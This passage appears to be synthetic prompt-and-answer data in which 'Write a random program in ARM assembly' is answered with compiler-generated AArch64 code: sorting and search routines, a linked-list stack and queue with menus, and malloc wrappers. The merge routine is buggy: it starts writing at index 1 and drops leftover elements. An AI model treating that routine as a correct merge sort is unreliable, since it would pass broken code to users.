stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str w2, [sp, 32]
str w3, [sp, 28]
ldr w1, [sp, 36]
ldr x0, [sp, 40]
bl insertionSort
ldr w2, [sp, 32]
ldr w1, [sp, 36]
ldr x0, [sp, 40]
bl binarySearch
str w0, [sp, 60]
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 28]
str w1, [x0]
ldr w1, [sp, 36]
ldr x0, [sp, 40]
bl insertionSort
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size update, .-update
.align 2
.global merge
.type merge, %function
merge:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
.cfi_def_cfa_register 29
str x19, [sp, 16]
sub sp, sp, #16
.cfi_offset 19, -112
str x0, [x29, 56]
str w1, [x29, 52]
str w2, [x29, 48]
str w3, [x29, 44]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 120]
mov x1, 0
mov x0, sp
mov x3, x0
ldr w1, [x29, 48]
ldr w0, [x29, 52]
sub w0, w1, w0
add w0, w0, 1
str w0, [x29, 80]
ldr w1, [x29, 44]
ldr w0, [x29, 48]
sub w0, w1, w0
str w0, [x29, 84]
ldr w0, [x29, 80]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 88]
sxtw x1, w0
mov x18, x1
mov x19, 0
lsr x1, x18, 59
lsl x11, x19, 5
orr x11, x1, x11
lsl x10, x18, 5
sxtw x1, w0
mov x16, x1
mov x17, 0
lsr x1, x16, 59
lsl x9, x17, 5
orr x9, x1, x9
lsl x8, x16, 5
sxtw x0, w0
lsl x0, x0, 2
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L26:
cmp sp, x1
beq .L27
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L26
.L27:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L28
str xzr, [sp, 1024]
.L28:
add x0, sp, 16
add x0, x0, 3
lsr x0, x0, 2
lsl x0, x0, 2
str x0, [x29, 96]
ldr w0, [x29, 84]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 104]
sxtw x1, w0
mov x14, x1
mov x15, 0
lsr x1, x14, 59
lsl x7, x15, 5
orr x7, x1, x7
lsl x6, x14, 5
sxtw x1, w0
mov x12, x1
mov x13, 0
lsr x1, x12, 59
lsl x5, x13, 5
orr x5, x1, x5
lsl x4, x12, 5
sxtw x0, w0
lsl x0, x0, 2
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L29:
cmp sp, x1
beq .L30
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L29
.L30:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L31
str xzr, [sp, 1024]
.L31:
add x0, sp, 16
add x0, x0, 3
lsr x0, x0, 2
lsl x0, x0, 2
str x0, [x29, 112]
str wzr, [x29, 68]
b .L32
.L33:
ldr w1, [x29, 52]
ldr w0, [x29, 68]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [x29, 56]
add x0, x1, x0
ldr w2, [x0]
ldr x0, [x29, 96]
ldrsw x1, [x29, 68]
str w2, [x0, x1, lsl 2]
ldr w0, [x29, 68]
add w0, w0, 1
str w0, [x29, 68]
.L32:
ldr w1, [x29, 68]
ldr w0, [x29, 80]
cmp w1, w0
blt .L33
str wzr, [x29, 72]
b .L34
.L35:
ldr w0, [x29, 48]
add w1, w0, 1
ldr w0, [x29, 72]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [x29, 56]
add x0, x1, x0
ldr w2, [x0]
ldr x0, [x29, 112]
ldrsw x1, [x29, 72]
str w2, [x0, x1, lsl 2]
ldr w0, [x29, 72]
add w0, w0, 1
str w0, [x29, 72]
.L34:
ldr w1, [x29, 72]
ldr w0, [x29, 84]
cmp w1, w0
blt .L35
str wzr, [x29, 72]
ldr w0, [x29, 72]
str w0, [x29, 68]
mov w0, 1
str w0, [x29, 76]
b .L36
.L40:
ldr x0, [x29, 96]
ldrsw x1, [x29, 68]
ldr w1, [x0, x1, lsl 2]
ldr x0, [x29, 112]
ldrsw x2, [x29, 72]
ldr w0, [x0, x2, lsl 2]
cmp w1, w0
bgt .L37
ldrsw x0, [x29, 76]
lsl x0, x0, 2
ldr x1, [x29, 56]
add x0, x1, x0
ldr x1, [x29, 96]
ldrsw x2, [x29, 68]
ldr w1, [x1, x2, lsl 2]
str w1, [x0]
ldr w0, [x29, 68]
add w0, w0, 1
str w0, [x29, 68]
b .L38
.L37:
ldrsw x0, [x29, 76]
lsl x0, x0, 2
ldr x1, [x29, 56]
add x0, x1, x0
ldr x1, [x29, 112]
ldrsw x2, [x29, 72]
ldr w1, [x1, x2, lsl 2]
str w1, [x0]
ldr w0, [x29, 72]
add w0, w0, 1
str w0, [x29, 72]
.L38:
ldr w0, [x29, 76]
add w0, w0, 1
str w0, [x29, 76]
.L36:
ldr w1, [x29, 68]
ldr w0, [x29, 80]
cmp w1, w0
bge .L39
ldr w1, [x29, 72]
ldr w0, [x29, 84]
cmp w1, w0
blt .L40
.L39:
mov sp, x3
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 120]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L41
bl __stack_chk_fail
.L41:
mov sp, x29
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE11:
.size merge, .-merge
.align 2
.global mergeSort
.type mergeSort, %function
mergeSort:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr w1, [sp, 20]
ldr w0, [sp, 16]
cmp w1, w0
bge .L44
ldr w1, [sp, 16]
ldr w0, [sp, 20]
sub w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w0, w1
str w0, [sp, 44]
ldr w2, [sp, 44]
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl mergeSort
ldr w0, [sp, 44]
add w0, w0, 1
ldr w2, [sp, 16]
mov w1, w0
ldr x0, [sp, 24]
bl mergeSort
ldr w3, [sp, 16]
ldr w2, [sp, 44]
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl merge
.L44:
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size mergeSort, .-mergeSort
.align 2
.global bubbleSort
.type bubbleSort, %function
bubbleSort:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
b .L46
.L50:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 40]
b .L47
.L49:
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x2, [sp, 24]
add x0, x2, x0
ldr w0, [x0]
cmp w1, w0
bge .L48
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x2, x1, x0
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
mov x1, x0
mov x0, x2
bl swap
.L48:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L47:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
blt .L49
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L46:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L50
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size bubbleSort, .-bubbleSort
.align 2
.global selectionSort
.type selectionSort, %function
selectionSort:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 36]
b .L52
.L56:
ldr w0, [sp, 36]
str w0, [sp, 44]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 40]
b .L53
.L55:
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x2, [sp, 24]
add x0, x2, x0
ldr w0, [x0]
cmp w1, w0
bge .L54
ldr w0, [sp, 40]
str w0, [sp, 44]
.L54:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L53:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
blt .L55
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x2, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
mov x1, x0
mov x0, x2
bl swap
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L52:
ldr w0, [sp, 20]
sub w0, w0, #1
ldr w1, [sp, 36]
cmp w1, w0
blt .L56
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size selectionSort, .-selectionSort
.align 2
.global insertionSort
.type insertionSort, %function
insertionSort:
.LFB15:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
mov w0, 1
str w0, [sp, 20]
b .L58
.L62:
ldrsw x0, [sp, 20]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 28]
ldr w0, [sp, 20]
sub w0, w0, #1
str w0, [sp, 24]
b .L59
.L61:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x1, x1, x0
ldrsw x0, [sp, 24]
add x0, x0, 1
lsl x0, x0, 2
ldr x2, [sp, 8]
add x0, x2, x0
ldr w1, [x1]
str w1, [x0]
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 24]
.L59:
ldr w0, [sp, 24]
cmp w0, 0
blt .L60
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L61
.L60:
ldrsw x0, [sp, 24]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w1, [sp, 28]
str w1, [x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L58:
ldr w1, [sp, 20]
ldr w0, [sp, 4]
cmp w1, w0
blt .L62
nop
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size insertionSort, .-insertionSort
.align 2
.global binarySearch
.type binarySearch, %function
binarySearch:
.LFB16:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
str wzr, [sp, 20]
ldr w0, [sp, 4]
str w0, [sp, 24]
b .L64
.L68:
ldr w1, [sp, 20]
ldr w0, [sp, 24]
add w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
str w0, [sp, 28]
ldrsw x0, [sp, 28]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp]
cmp w1, w0
bne .L65
ldr w0, [sp, 28]
b .L66
.L65:
ldrsw x0, [sp, 28]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp]
cmp w1, w0
bge .L67
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 24]
b .L64
.L67:
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 20]
.L64:
ldr w1, [sp, 20]
ldr w0, [sp, 24]
cmp w1, w0
ble .L68
mov w0, -1
.L66:
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size binarySearch, .-binarySearch
.align 2
.global swap
.type swap, %function
swap:
.LFB17:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
ldr w0, [x0]
str w0, [sp, 28]
ldr x0, [sp]
ldr w1, [x0]
ldr x0, [sp, 8]
str w1, [x0]
ldr x0, [sp]
ldr w1, [sp, 28]
str w1, [x0]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size swap, .-swap
.section .rodata
.align 3
.LC20:
.string "%d | "
.text
.align 2
.global imprimir
.type imprimir, %function
imprimir:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
b .L71
.L72:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L71:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L72
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size imprimir, .-imprimir
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global front
.bss
.align 3
.type front, %object
.size front, 8
front:
.zero 8
.global rear
.align 3
.type rear, %object
.size rear, 8
rear:
.zero 8
.global top
.align 3
.type top, %object
.size top, 8
top:
.zero 8
.section .rodata
.align 3
.LC0:
.string "\n%d has been pushed\n"
.text
.align 2
.global push
.type push, %function
push:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov x0, 16
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [sp, 28]
str w1, [x0]
ldr x0, [sp, 40]
str xzr, [x0, 8]
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
cmp x0, 0
bne .L2
adrp x0, top
add x0, x0, :lo12:top
ldr x1, [sp, 40]
str x1, [x0]
b .L3
.L2:
adrp x0, top
add x0, x0, :lo12:top
ldr x1, [x0]
ldr x0, [sp, 40]
str x1, [x0, 8]
adrp x0, top
add x0, x0, :lo12:top
ldr x1, [sp, 40]
str x1, [x0]
.L3:
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size push, .-push
.section .rodata
.align 3
.LC1:
.string "\n! Underflow Condition !"
.align 3
.LC2:
.string "\n%d has been popped\n"
.text
.align 2
.global pop
.type pop, %function
pop:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
str x0, [sp, 24]
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
cmp x0, 0
bne .L5
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
b .L7
.L5:
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
ldr x1, [x0, 8]
adrp x0, top
add x0, x0, :lo12:top
str x1, [x0]
ldr x0, [sp, 24]
bl free
.L7:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size pop, .-pop
.section .rodata
.align 3
.LC3:
.string "\n! Empty Stack !"
.align 3
.LC4:
.string " %d "
.text
.align 2
.global display_stack
.type display_stack, %function
display_stack:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
str x0, [sp, 24]
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
cmp x0, 0
bne .L9
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
b .L13
.L9:
mov w0, 10
bl putchar
b .L11
.L12:
ldr x0, [sp, 24]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
ldr x0, [sp, 24]
ldr x0, [x0, 8]
str x0, [sp, 24]
.L11:
ldr x0, [sp, 24]
cmp x0, 0
bne .L12
mov w0, 10
bl putchar
.L13:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size display_stack, .-display_stack
.section .rodata
.align 3
.LC5:
.string "\n! Stack Is Empty !"
.align 3
.LC6:
.string "\n%d\n"
.text
.align 2
.global topper
.type topper, %function
topper:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
cmp x0, 0
bne .L15
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
b .L17
.L15:
adrp x0, top
add x0, x0, :lo12:top
ldr x0, [x0]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
.L17:
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size topper, .-topper
.section .rodata
.align 3
.LC7:
.string "\n%d has been Enqueued.\n"
.text
.align 2
.global enqueue
.type enqueue, %function
enqueue:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov x0, 16
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [sp, 28]
str w1, [x0]
ldr x0, [sp, 40]
str xzr, [x0, 8]
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
cmp x0, 0
bne .L19
adrp x0, rear
add x0, x0, :lo12:rear
ldr x0, [x0]
cmp x0, 0
bne .L19
adrp x0, front
add x0, x0, :lo12:front
ldr x1, [sp, 40]
str x1, [x0]
adrp x0, rear
add x0, x0, :lo12:rear
ldr x1, [sp, 40]
str x1, [x0]
b .L20
.L19:
adrp x0, rear
add x0, x0, :lo12:rear
ldr x0, [x0]
ldr x1, [sp, 40]
str x1, [x0, 8]
adrp x0, rear
add x0, x0, :lo12:rear
ldr x1, [sp, 40]
str x1, [x0]
.L20:
ldr w1, [sp, 28]
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl printf
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size enqueue, .-enqueue
.section .rodata
.align 3
.LC8:
.string "\n%d has been dequeued\n"
.text
.align 2
.global dequeue
.type dequeue, %function
dequeue:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
str x0, [sp, 24]
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
cmp x0, 0
bne .L22
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
b .L24
.L22:
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl printf
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
ldr x1, [x0, 8]
adrp x0, front
add x0, x0, :lo12:front
str x1, [x0]
ldr x0, [sp, 24]
bl free
.L24:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size dequeue, .-dequeue
.section .rodata
.align 3
.LC9:
.string "\n! Queue is empty !"
.text
.align 2
.global display_queue
.type display_queue, %function
display_queue:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
str x0, [sp, 24]
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
cmp x0, 0
bne .L26
adrp x0, rear
add x0, x0, :lo12:rear
ldr x0, [x0]
cmp x0, 0
bne .L26
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
b .L27
.L26:
mov w0, 10
bl putchar
b .L28
.L29:
ldr x0, [sp, 24]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
ldr x0, [sp, 24]
ldr x0, [x0, 8]
str x0, [sp, 24]
.L28:
ldr x0, [sp, 24]
cmp x0, 0
bne .L29
mov w0, 10
bl putchar
nop
.L27:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size display_queue, .-display_queue
.align 2
.global peek
.type peek, %function
peek:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
cmp x0, 0
bne .L31
adrp x0, rear
add x0, x0, :lo12:rear
ldr x0, [x0]
cmp x0, 0
bne .L31
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
b .L32
.L31:
adrp x0, front
add x0, x0, :lo12:front
ldr x0, [x0]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
nop
.L32:
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size peek, .-peek
.section .rodata
.align 3
.LC10:
.string "\n1 - Push\n2 - Pop\n3 - Display\n4 - Top\n5 - Exit From Stack\nYour Choice: "
.align 3
.LC11:
.string "%d"
.align 3
.LC12:
.string "\nEnter data: "
.align 3
.LC13:
.string "\n!! Wrong Choice, Try Again !!"
.text
.align 2
.global stack_menu
.type stack_menu, %function
stack_menu:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
.L41:
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
add x0, sp, 16
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
ldr w0, [sp, 16]
cmp w0, 5
beq .L34
cmp w0, 5
bgt .L35
cmp w0, 4
beq .L36
cmp w0, 4
bgt .L35
cmp w0, 3
beq .L37
cmp w0, 3
bgt .L35
cmp w0, 1
beq .L38
cmp w0, 2
beq .L39
b .L35
.L38:
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
add x0, sp, 20
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
ldr w0, [sp, 20]
bl push
b .L40
.L39:
bl pop
b .L40
.L37:
bl display_stack
b .L40
.L36:
bl topper
b .L40
.L34:
bl main
b .L40
.L35:
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl puts
bl stack_menu
nop
.L40:
b .L41
.cfi_endproc
.LFE14:
.size stack_menu, .-stack_menu
.section .rodata
.align 3
.LC14:
.string "\n1 - Enqueue\n2 - Dequeue\n3 - Peek\n4 - Display\n5 - Exit From Queue\nYour choice: "
.text
.align 2
.global queue_menu
.type queue_menu, %function
queue_menu:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
.L51:
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl printf
add x0, sp, 16
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
ldr w0, [sp, 16]
cmp w0, 5
beq .L44
cmp w0, 5
bgt .L45
cmp w0, 4
beq .L46
cmp w0, 4
bgt .L45
cmp w0, 3
beq .L47
cmp w0, 3
bgt .L45
cmp w0, 1
beq .L48
cmp w0, 2
beq .L49
b .L45
.L48:
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
add x0, sp, 20
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
ldr w0, [sp, 20]
bl enqueue
b .L50
.L49:
bl dequeue
b .L50
.L47:
bl peek
b .L50
.L46:
bl display_queue
b .L50
.L44:
bl main
b .L50
.L45:
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl puts
bl queue_menu
nop
.L50:
b .L51
.cfi_endproc
.LFE15:
.size queue_menu, .-queue_menu
.section .rodata
.align 3
.LC15:
.string "\n1 - Stack\n2 - Queue\n3 - Exit\nYour Choice: "
.align 3
.LC16:
.string "\n!! Wrong Choice, Try again !!"
.text
.align 2
.global main
.type main, %function
main:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
add x0, sp, 20
mov x1, x0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl __isoc99_scanf
ldr w0, [sp, 20]
cmp w0, 3
beq .L54
cmp w0, 3
bgt .L55
cmp w0, 1
beq .L56
cmp w0, 2
beq .L57
b .L55
.L56:
bl stack_menu
b .L58
.L57:
bl queue_menu
b .L58
.L54:
mov w0, 0
bl exit
.L55:
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl puts
bl main
nop
.L58:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L60
bl __stack_chk_fail
.L60:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global platform_malloc
.type platform_malloc, %function
platform_malloc:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl malloc
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size platform_malloc, .-platform_malloc
.align 2
.global platform_free
.type platform_free, %function
platform_free:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl free
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size platform_free, .-platform_free
.align 2
.global platform_realloc
.type platform_realloc, %function
platform_realloc:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
